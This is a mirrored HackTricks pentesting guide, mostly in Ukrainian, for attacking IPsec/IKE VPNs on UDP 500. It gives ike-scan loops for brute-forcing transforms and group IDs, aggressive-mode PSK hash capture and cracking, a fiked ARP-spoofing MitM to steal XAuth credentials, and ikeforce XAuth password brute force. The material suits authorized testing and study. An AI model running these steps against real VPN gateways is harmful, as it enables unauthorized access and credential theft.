mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
270 lines
26 KiB
Markdown
270 lines
26 KiB
Markdown
# 500/udp - Pentesting IPsec/IKE VPN
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
{% endhint %}
|
||
|
||
## Основна інформація
|
||
|
||
**IPsec** широко визнаний як основна технологія для забезпечення безпеки комунікацій між мережами (LAN-to-LAN) та від віддалених користувачів до мережевого шлюзу (віддалений доступ), слугуючи основою для корпоративних VPN рішень.
|
||
|
||
Встановлення **асоціації безпеки (SA)** між двома точками управляється **IKE**, який працює під егідою ISAKMP, протоколу, призначеного для аутентифікації та обміну ключами. Цей процес розгортається в кілька фаз:
|
||
|
||
* **Фаза 1:** Створюється захищений канал між двома кінцевими точками. Це досягається за допомогою попередньо поділеного ключа (PSK) або сертифікатів, використовуючи або основний режим, який включає три пари повідомлень, або **агресивний режим**.
|
||
* **Фаза 1.5:** Хоча не є обов'язковою, ця фаза, відома як Фаза розширеної аутентифікації, перевіряє особу користувача, який намагається підключитися, вимагаючи ім'я користувача та пароль.
|
||
* **Фаза 2:** Ця фаза присвячена узгодженню параметрів для забезпечення безпеки даних за допомогою **ESP** та **AH**. Вона дозволяє використовувати алгоритми, відмінні від тих, що в Фазі 1, для забезпечення **Ідеальної впередньої секретності (PFS)**, що підвищує безпеку.
|
||
|
||
**Порт за замовчуванням:** 500/udp
|
||
|
||
## **Відкрийте** сервіс за допомогою nmap
|
||
```
|
||
root@bt:~# nmap -sU -p 500 172.16.21.200
|
||
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
||
Nmap scan report for 172.16.21.200
|
||
Host is up (0.00036s latency).
|
||
PORT STATE SERVICE
|
||
500/udp open isakmp
|
||
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||
```
|
||
## **Знайти дійсну трансформацію**
|
||
|
||
Конфігурація IPSec може бути підготовлена лише для прийняття однієї або кількох трансформацій. Трансформація - це комбінація значень. **Кожна трансформація** містить ряд атрибутів, таких як DES або 3DES як **алгоритм шифрування**, SHA або MD5 як **алгоритм цілісності**, попередньо поділений ключ як **тип аутентифікації**, Diffie-Hellman 1 або 2 як **алгоритм розподілу ключів** і 28800 секунд як **термін дії**.
|
||
|
||
Отже, перше, що вам потрібно зробити, це **знайти дійсну трансформацію**, щоб сервер міг з вами спілкуватися. Для цього ви можете використовувати інструмент **ike-scan**. За замовчуванням Ike-scan працює в основному режимі і надсилає пакет до шлюзу з заголовком ISAKMP і єдиною пропозицією з **вісімкою трансформацій всередині**.
|
||
|
||
Залежно від відповіді ви можете отримати деяку інформацію про кінцеву точку:
|
||
```
|
||
root@bt:~# ike-scan -M 172.16.21.200
|
||
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
||
172.16.21.200 Main Mode Handshake returned
|
||
HDR=(CKY-R=d90bf054d6b76401)
|
||
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
|
||
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
||
|
||
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
||
```
|
||
Як ви можете бачити в попередній відповіді, є поле під назвою **AUTH** зі значенням **PSK**. Це означає, що vpn налаштовано з використанням попередньо поділеного ключа (і це дійсно добре для pentester).\
|
||
**Значення останнього рядка також дуже важливе:**
|
||
|
||
* _0 повернено handshake; 0 повернено notify:_ Це означає, що ціль **не є IPsec шлюзом**.
|
||
* _**1 повернено handshake; 0 повернено notify:**_ Це означає, що **ціль налаштована для IPsec і готова виконати IKE переговори, і один або більше з трансформацій, які ви запропонували, є прийнятними** (дійсна трансформація буде показана в виході).
|
||
* _0 повернено handshake; 1 повернено notify:_ VPN шлюзи відповідають повідомленням notify, коли **жодна з трансформацій не є прийнятною** (хоча деякі шлюзи цього не роблять, у такому випадку слід провести подальший аналіз і спробувати переглянуту пропозицію).
|
||
|
||
Отже, в цьому випадку у нас вже є дійсна трансформація, але якщо ви в 3-му випадку, то вам потрібно **трохи брутфорсити, щоб знайти дійсну трансформацію:**
|
||
|
||
По-перше, вам потрібно створити всі можливі трансформації:
|
||
```bash
|
||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||
```
|
||
А потім виконайте брутфорс для кожного з них, використовуючи ike-scan (це може зайняти кілька хвилин):
|
||
```bash
|
||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||
```
|
||
Якщо брутфорс не спрацював, можливо, сервер відповідає без рукостискань навіть на дійсні трансформації. Тоді ви можете спробувати той же брутфорс, але використовуючи агресивний режим:
|
||
```bash
|
||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||
```
|
||
Сподіваюсь, **дійсна трансформація буде відображена назад**.\
|
||
Ви можете спробувати **ту ж атаку** за допомогою [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
|
||
Ви також можете спробувати брутфорс трансформацій за допомогою [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
||
```bash
|
||
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
||
```
|
||
![](<../.gitbook/assets/image (617).png>)
|
||
|
||
У **DH Group: 14 = 2048-бітний MODP** та **15 = 3072-бітний**\
|
||
**2 = HMAC-SHA = SHA1 (в цьому випадку). Формат `--trans` є $Enc,$Hash,$Auth,$DH**
|
||
|
||
Cisco вказує уникати використання DH груп 1 та 2, оскільки вони недостатньо сильні. Експерти вважають, що **країни з великою кількістю ресурсів можуть легко зламати шифрування** даних, які використовують ці слабкі групи. Це робиться за допомогою спеціального методу, який готує їх до швидкого зламу кодів. Хоча налаштування цього методу коштує багато грошей, він дозволяє цим потужним країнам читати зашифровані дані в реальному часі, якщо вони використовують групу, яка не є сильною (наприклад, 1,024-бітну або меншу).
|
||
|
||
### Визначення відбитка сервера
|
||
|
||
Потім ви можете використовувати ike-scan, щоб спробувати **виявити постачальника** пристрою. Інструмент надсилає початкову пропозицію і зупиняє повторення. Потім він **аналізує** **різницю** **в часі** **між** отриманими **повідомленнями** від сервера та відповідним шаблоном відповіді, пентестер може успішно визначити постачальника VPN шлюзу. Більше того, деякі VPN сервери використовуватимуть необов'язковий **Vendor ID (VID) payload** з IKE.
|
||
|
||
**Вкажіть дійсну трансформацію, якщо потрібно** (використовуючи --trans)
|
||
|
||
Якщо IKE виявить, який постачальник, він надрукує його:
|
||
```
|
||
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
|
||
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
||
172.16.21.200 Main Mode Handshake returned
|
||
HDR=(CKY-R=4f3ec84731e2214a)
|
||
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
|
||
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
||
|
||
IKE Backoff Patterns:
|
||
|
||
IP Address No. Recv time Delta Time
|
||
172.16.21.200 1 1322286031.744904 0.000000
|
||
172.16.21.200 2 1322286039.745081 8.000177
|
||
172.16.21.200 3 1322286047.745989 8.000908
|
||
172.16.21.200 4 1322286055.746972 8.000983
|
||
172.16.21.200 Implementation guess: Cisco VPN Concentrator
|
||
|
||
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
|
||
```
|
||
Це також можна досягти за допомогою скрипта nmap _**ike-version**_
|
||
|
||
## Знаходження правильного ID (імені групи)
|
||
|
||
Щоб отримати можливість захопити хеш, вам потрібна дійсна трансформація, що підтримує агресивний режим, та правильний ID (ім'я групи). Ви, ймовірно, не будете знати дійсне ім'я групи, тому вам доведеться його перебрати.\
|
||
Для цього я рекомендую вам 2 методи:
|
||
|
||
### Перебір ID за допомогою ike-scan
|
||
|
||
По-перше, спробуйте надіслати запит з фальшивим ID, намагаючись зібрати хеш ("-P"):
|
||
```bash
|
||
ike-scan -P -M -A -n fakeID <IP>
|
||
```
|
||
Якщо **не повертається хеш**, то, ймовірно, цей метод брутфорсу спрацює. **Якщо повертається якийсь хеш, це означає, що буде надіслано фальшивий хеш для фальшивого ID, тому цей метод не буде надійним** для брутфорсу ID. Наприклад, може бути повернуто фальшивий хеш (це трапляється в сучасних версіях):
|
||
|
||
![](<../.gitbook/assets/image (917).png>)
|
||
|
||
Але якщо, як я вже сказав, не повертається хеш, то вам слід спробувати брутфорсити загальні назви груп, використовуючи ike-scan.
|
||
|
||
Цей скрипт **спробує брутфорсити можливі ID** і поверне ID, для яких повертається дійсне з'єднання (це буде дійсна назва групи).
|
||
|
||
Якщо ви виявили конкретну трансформацію, додайте її в команду ike-scan. І якщо ви виявили кілька трансформацій, не соромтеся додати новий цикл, щоб спробувати їх усі (вам слід спробувати їх усі, поки одна з них не спрацює належним чином).
|
||
|
||
Ви можете використовувати [словник ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) або [той, що в seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) з загальними назвами груп для брутфорсу:
|
||
```bash
|
||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||
```
|
||
Or use this dict (is a combination of the other 2 dicts without repetitions):
|
||
|
||
{% file src="../.gitbook/assets/vpnIDs.txt" %}
|
||
|
||
### Bruteforcing ID with Iker
|
||
|
||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) також використовує **ike-scan** для брутфорсу можливих імен груп. Він слідує власному методу, щоб **знайти дійсний ID на основі виходу ike-scan**.
|
||
|
||
### Bruteforcing ID with ikeforce
|
||
|
||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) - це інструмент, який також можна використовувати для **брутфорсу ID**. Цей інструмент **спробує експлуатувати різні вразливості**, які можуть бути використані для **відрізнення між дійсним і недійсним ID** (можуть бути хибнопозитивні та хибнонегативні результати, тому я віддаю перевагу методу ike-scan, якщо це можливо).
|
||
|
||
За замовчуванням **ikeforce** на початку відправить кілька випадкових ID, щоб перевірити поведінку сервера та визначити тактику використання.
|
||
|
||
* **Перший метод** полягає в брутфорсі імен груп, **шукаючи** інформацію **Dead Peer Detection DPD** систем Cisco (ця інформація відправляється сервером лише якщо ім'я групи правильне).
|
||
* **Другий метод**, що доступний, полягає в **перевірці кількості відповідей, надісланих на кожну спробу**, оскільки іноді надсилається більше пакетів, коли використовується правильний ID.
|
||
* **Третій метод** полягає в **пошуку "INVALID-ID-INFORMATION" у відповідь на неправильний ID**.
|
||
* Нарешті, якщо сервер не відповідає на перевірки, **ikeforce** спробує брутфорсити сервер і перевірити, чи відповідає сервер надісланим пакетом, коли правильний ID відправляється.\
|
||
Очевидно, мета брутфорсу ID полягає в отриманні **PSK**, коли у вас є дійсний ID. Потім, з **ID** та **PSK** вам потрібно буде брутфорсити XAUTH (якщо він увімкнений).
|
||
|
||
Якщо ви виявили конкретну трансформацію, додайте її в команду ikeforce. І якщо ви виявили кілька трансформацій, не соромтеся додати новий цикл, щоб спробувати їх усі (вам слід спробувати їх усі, поки один з них не спрацює належним чином).
|
||
```bash
|
||
git clone https://github.com/SpiderLabs/ikeforce.git
|
||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||
```
|
||
|
||
```bash
|
||
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
|
||
```
|
||
### Sniffing ID
|
||
|
||
(З книги **Оцінка безпеки мережі: Знайте свою мережу**): Також можливо отримати дійсні імена користувачів, перехоплюючи з'єднання між клієнтом VPN та сервером, оскільки перший пакет агресивного режиму, що містить ID клієнта, надсилається у відкритому вигляді.
|
||
|
||
![](<../.gitbook/assets/image (891).png>)
|
||
|
||
## Capturing & cracking the hash
|
||
|
||
Нарешті, якщо ви знайшли **дійсну трансформацію** та **ім'я групи**, і якщо **агресивний режим дозволено**, тоді ви можете дуже легко отримати хеш, який можна зламати:
|
||
```bash
|
||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||
```
|
||
Хеш буде збережено в _hash.txt_.
|
||
|
||
Ви можете використовувати **psk-crack**, **john** (використовуючи [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) та **hashcat** для **crack** хешу:
|
||
```bash
|
||
psk-crack -d <Wordlist_path> psk.txt
|
||
```
|
||
## **XAuth**
|
||
|
||
**Агресивний режим IKE** в поєднанні з **попередньо поділеним ключем (PSK)** зазвичай використовується для **групової аутентифікації**. Цей метод доповнюється **XAuth (Розширена аутентифікація)**, яка служить для введення додаткового рівня **аутентифікації користувача**. Така аутентифікація зазвичай використовує сервіси, такі як **Microsoft Active Directory**, **RADIUS** або подібні системи.
|
||
|
||
Перехід до **IKEv2** демонструє помітну зміну, де **EAP (Розширений протокол аутентифікації)** використовується замість **XAuth** для аутентифікації користувачів. Ця зміна підкреслює еволюцію практик аутентифікації в рамках безпечних комунікаційних протоколів.
|
||
|
||
### Локальна мережа MitM для захоплення облікових даних
|
||
|
||
Отже, ви можете захопити дані входу, використовуючи _fiked_, і перевірити, чи є якийсь стандартний логін (Вам потрібно перенаправити трафік IKE на `fiked` для прослуховування, що можна зробити за допомогою ARP спуфінгу, [більше інформації](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked буде діяти як кінцева точка VPN і захопить облікові дані XAuth:
|
||
```bash
|
||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||
```
|
||
Також, використовуючи IPSec, спробуйте здійснити атаку MitM і заблокувати весь трафік на порт 500, якщо тунель IPSec не може бути встановлений, можливо, трафік буде відправлений у відкритому вигляді.
|
||
|
||
### Брутфорсинг імені користувача та пароля XAUTH за допомогою ikeforce
|
||
|
||
Щоб здійснити брутфорс **XAUTH** (коли ви знаєте дійсну назву групи **id** та **psk**), ви можете використовувати ім'я користувача або список імен користувачів та список паролів:
|
||
```bash
|
||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||
```
|
||
Таким чином, ikeforce спробує підключитися, використовуючи кожну комбінацію ім'я користувача:пароль.
|
||
|
||
Якщо ви знайшли один або кілька дійсних трансформацій, просто використовуйте їх, як у попередніх кроках.
|
||
|
||
## Аутентифікація з IPSEC VPN
|
||
|
||
У Kali **VPNC** використовується для встановлення IPsec тунелів. **Профілі** повинні знаходитися в каталозі `/etc/vpnc/`. Ви можете ініціювати ці профілі за допомогою команди _**vpnc**_.
|
||
|
||
Наступні команди та конфігурації ілюструють процес налаштування VPN-з'єднання з VPNC:
|
||
```bash
|
||
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
|
||
IPSec gateway [VPN_GATEWAY_IP]
|
||
IPSec ID [VPN_CONNECTION_ID]
|
||
IPSec secret [VPN_GROUP_SECRET]
|
||
IKE Authmode psk
|
||
Xauth username [VPN_USERNAME]
|
||
Xauth password [VPN_PASSWORD]
|
||
STOP
|
||
root@system:~# vpnc samplevpn
|
||
VPNC started in background (pid: [PID])...
|
||
root@system:~# ifconfig tun0
|
||
```
|
||
У цьому налаштуванні:
|
||
|
||
* Замініть `[VPN_GATEWAY_IP]` на фактичну IP-адресу VPN-шлюзу.
|
||
* Замініть `[VPN_CONNECTION_ID]` на ідентифікатор VPN-з'єднання.
|
||
* Замініть `[VPN_GROUP_SECRET]` на груповий секрет VPN.
|
||
* Замініть `[VPN_USERNAME]` та `[VPN_PASSWORD]` на облікові дані для автентифікації VPN.
|
||
* `[PID]` символізує ідентифікатор процесу, який буде призначено, коли `vpnc` ініціюється.
|
||
|
||
Переконайтеся, що фактичні, безпечні значення використовуються для заміни заповнювачів під час налаштування VPN.
|
||
|
||
## Довідковий матеріал
|
||
|
||
* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
|
||
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
||
* [Сканування реалізації VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
||
* Оцінка безпеки мережі, 3-е видання
|
||
|
||
## Shodan
|
||
|
||
* `port:500 IKE`
|
||
|
||
{% hint style="success" %}
|
||
Вивчайте та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Вивчайте та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Підтримайте HackTricks</summary>
|
||
|
||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
</details>
|
||
{% endhint %}
|